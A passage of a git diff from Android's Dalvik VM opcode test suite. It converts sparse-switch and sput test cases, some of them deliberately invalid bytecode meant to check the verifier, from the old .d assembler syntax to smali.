+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_4;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(D)I
+    .registers 5
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p2, -0x1
+
+    return p2
+
+    :sswitch_7
+    const p2, 0x2
+
+    return p2
+
+    :sswitch_b
+    const p2, 0x14
+
+    return p2
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_5.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_5.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_5.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_5.smali
new file mode 100644
index 0000000..c43b14a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_5.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_5;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_5.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(J)I
+    .registers 5
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p2, -0x1
+
+    return p2
+
+    :sswitch_7
+    const p2, 0x2
+
+    return p2
+
+    :sswitch_b
+    const p2, 0x14
+
+    return p2
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_6.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_6.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_6.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_6.smali
new file mode 100644
index 0000000..1457496
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_6.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_6;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    sparse-switch p0, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_7
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_b
+    const p1, 0x14
+
+    return p1
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_7.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_7.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_7.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_7.smali
new file mode 100644
index 0000000..838a303
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_7.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_7;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_7
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_b
+    const p1, 0x14
+
+    return p1
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_8.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_8.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_8.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_8.smali
new file mode 100644
index 0000000..41a0e10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_8.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_8;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_8.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_7
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_b
+    const p1, 0x14
+
+    return p1
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_9.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_9.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_9.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_9.smali
new file mode 100644
index 0000000..04f9f61
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_9.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_9;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_7
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_b
+    const p1, 0x14
+
+    return p1
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_1.d
deleted file mode 100644
index 748fd1c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_1.java
-.class public dot.junit.opcodes.sput.d.T_sput_1
-.super java/lang/Object
-
-.field public static st_i1 I
-.field protected static st_p1 I
-.field private static st_pvt1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static getPvtField()I
-.limit regs 2
-
-       sget v0, dot.junit.opcodes.sput.d.T_sput_1.st_pvt1 I
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       sput v1, dot.junit.opcodes.sput.d.T_sput_1.st_i1 I
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_1.smali
new file mode 100644
index 0000000..1b4feaa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_1.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_1;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:I
+.field protected static st_p1:I
+.field private static st_pvt1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static getPvtField()I
+.registers 2
+
+       sget v0, Ldot/junit/opcodes/sput/d/T_sput_1;->st_pvt1:I
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_1;->st_i1:I
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_10.d
deleted file mode 100644
index d753fd4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_10.java
-.class public dot.junit.opcodes.sput.d.T_sput_10
-.super java/lang/Object
-
-.field public st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       sput v1, dot.junit.opcodes.sput.d.T_sput_10.st_i1N I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_10.smali
new file mode 100644
index 0000000..c3f5b2d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_10.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_10;->st_i1N:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_11.d
deleted file mode 100644
index 90cc7c0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_11.java
-.class public dot.junit.opcodes.sput.d.T_sput_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       sput v1, dot.junit.opcodes.sput.TestStubs.TestStubFieldFinal I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_11.smali
new file mode 100644
index 0000000..dc5c9b3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_11.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/TestStubs;->TestStubFieldFinal:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_12.d
deleted file mode 100644
index 6543443..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_12.java
-.class public dot.junit.opcodes.sput.d.T_sput_12
-.super java/lang/Object
-
-.field public static final st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       sput v1, dot.junit.opcodes.sput.d.T_sput_12.st_i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_12.smali
new file mode 100644
index 0000000..3041c6b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_12.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_12;
+.super  Ljava/lang/Object;
+
+.field public static final st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_12;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.java b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.java
index 4693899..61cd6ed 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.java
@@ -17,6 +17,7 @@
 package dot.junit.opcodes.sput.d;
 
 class StubInitError {
+    @SuppressWarnings("ConstantOverflow")
     static int value = 5 / 0; 
 }
 
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.smalis/StubInitError.smali
new file mode 100644
index 0000000..545883d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.smalis/StubInitError.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:I
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x5
+
+    div-int/2addr v1, v0
+
+    sput v1, Ldot/junit/opcodes/sput/d/StubInitError;->value:I
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.smalis/T_sput_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.smalis/T_sput_13.smali
new file mode 100644
index 0000000..08cbe38
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.smalis/T_sput_13.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput/d/T_sput_13;
+.super Ljava/lang/Object;
+.source "T_sput_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0xf4240
+
+    sput v1, Ldot/junit/opcodes/sput/d/StubInitError;->value:I
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_14.d
deleted file mode 100644
index 89cab9e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_14.java
-.class public dot.junit.opcodes.sput.d.T_sput_14
-.super dot/junit/opcodes/sput/d/T_sput_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput/d/T_sput_1/<init>()V
-       return-void
-.end method
-
-.method public static getProtectedField()I
-.limit regs 2
-
-       sget v0, dot.junit.opcodes.sput.d.T_sput_1.st_p1 I
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       sput v1, dot.junit.opcodes.sput.d.T_sput_1.st_p1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_14.smali
new file mode 100644
index 0000000..cd21062
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_14.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_14;
+.super  Ldot/junit/opcodes/sput/d/T_sput_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput/d/T_sput_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()I
+.registers 2
+
+       sget v0, Ldot/junit/opcodes/sput/d/T_sput_1;->st_p1:I
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_1;->st_p1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_15.d
deleted file mode 100644
index e2723fe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_15.java
-.class public dot.junit.opcodes.sput.d.T_sput_15
-.super dot/junit/opcodes/sput/d/T_sput_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput/d/T_sput_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 12321
-       sput v1, dot.junit.opcodes.sput.d.T_sput_1.st_pvt1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_15.smali
new file mode 100644
index 0000000..0a03f38
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
